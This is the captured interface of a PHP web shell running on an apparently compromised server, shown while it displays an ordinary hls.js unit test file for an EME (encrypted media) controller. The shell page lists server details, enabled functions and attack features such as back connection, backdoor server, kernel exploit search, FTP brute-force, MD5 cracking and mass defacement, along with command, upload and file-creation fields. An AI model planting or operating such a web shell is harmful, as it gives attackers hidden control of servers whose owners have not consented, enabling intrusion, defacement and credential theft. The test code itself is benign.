IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ root/ hls/ tests/ unit/ controller/ - drwxr-xr-x |
Viewing file:
Select action/file-type: import EMEController from '../../../src/controller/eme-controller'; import HlsMock from '../../mocks/hls.mock'; import { EventEmitter } from 'eventemitter3'; import { ErrorDetails } from '../../../src/errors'; const sinon = require('sinon'); const MediaMock = function () { let media = new EventEmitter(); media.setMediaKeys = sinon.spy(); media.addEventListener = media.addListener.bind(media); media.removeEventListener = media.removeListener.bind(media); return media; }; const fakeLevels = [ { audioCodec: 'audio/foo' }, { videoCoded: 'video/foo' } ]; let emeController; let media; const setupEach = function (config) { media = new MediaMock(); emeController = new EMEController(new HlsMock(config)); }; describe('EMEController', function () { beforeEach(function () { setupEach(); }); it('should not do anything when `emeEnabled` is false (default)', function () { let reqMediaKsAccessSpy = sinon.spy(); setupEach({ requestMediaKeySystemAccessFunc: reqMediaKsAccessSpy }); emeController.onMediaAttached({ media }); emeController.onManifestParsed({ media }); expect(media.setMediaKeys.callCount).to.equal(0); expect(reqMediaKsAccessSpy.callCount).to.equal(0); }); it('should request keys when `emeEnabled` is true (but not set them)', function (done) { let reqMediaKsAccessSpy = sinon.spy(function () { return Promise.resolve({ // Media-keys mock }); }); setupEach({ emeEnabled: true, requestMediaKeySystemAccessFunc: reqMediaKsAccessSpy }); emeController.onMediaAttached({ media }); expect(media.setMediaKeys.callCount).to.equal(0); expect(reqMediaKsAccessSpy.callCount).to.equal(0); emeController.onManifestParsed({ levels: fakeLevels }); setTimeout(function () { expect(media.setMediaKeys.callCount).to.equal(0); expect(reqMediaKsAccessSpy.callCount).to.equal(1); done(); }, 0); }); it('should request keys with specified robustness options when `emeEnabled` is true', function (done) { let reqMediaKsAccessSpy = sinon.spy(function () { return Promise.resolve({ // Media-keys mock }); }); setupEach({ emeEnabled: true, drmSystemOptions: { audioRobustness: 'HW_SECURE_ALL', videoRobustness: 'HW_SECURE_ALL' }, requestMediaKeySystemAccessFunc: reqMediaKsAccessSpy }); emeController.onMediaAttached({ media }); expect(media.setMediaKeys.callCount).to.equal(0); expect(reqMediaKsAccessSpy.callCount).to.equal(0); emeController.onManifestParsed({ levels: fakeLevels }); setTimeout(function () { const baseConfig = reqMediaKsAccessSpy.getCall(0).args[1][0]; expect(baseConfig.audioCapabilities[0]).to.have.property('robustness', 'HW_SECURE_ALL'); expect(baseConfig.videoCapabilities[0]).to.have.property('robustness', 'HW_SECURE_ALL'); done(); }, 0); }); it('should trigger key system error(s) when bad encrypted data is received', function (done) { let reqMediaKsAccessSpy = sinon.spy(function () { return Promise.resolve({ // Media-keys mock }); }); setupEach({ emeEnabled: true, requestMediaKeySystemAccessFunc: reqMediaKsAccessSpy }); let badData = { initDataType: 'cenc', initData: 'bad data' }; emeController.onMediaAttached({ media }); emeController.onManifestParsed({ levels: fakeLevels }); media.emit('encrypted', badData); setTimeout(function () { expect(emeController.hls.trigger).to.have.been.calledTwice; expect(emeController.hls.trigger.args[0][1].details).to.equal(ErrorDetails.KEY_SYSTEM_NO_KEYS); expect(emeController.hls.trigger.args[1][1].details).to.equal(ErrorDetails.KEY_SYSTEM_NO_SESSION); done(); }, 0); }); it('should close all media key sessions and remove media keys when media is detached', function (done) { let reqMediaKsAccessSpy = sinon.spy(function () { return Promise.resolve({ // Media-keys mock }); }); let keySessionCloseSpy = sinon.spy(() => Promise.resolve()); setupEach({ emeEnabled: true, requestMediaKeySystemAccessFunc: reqMediaKsAccessSpy }); emeController.onMediaAttached({ media }); emeController._mediaKeysList = [{ mediaKeysSession: { close: keySessionCloseSpy } }]; emeController.onMediaDetached(); setTimeout(function () { expect(keySessionCloseSpy.callCount).to.equal(1); expect(emeController._mediaKeysList.length).to.equal(0); expect(media.setMediaKeys.calledWith(null)).to.be.true; done(); }, 0); }); }); |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |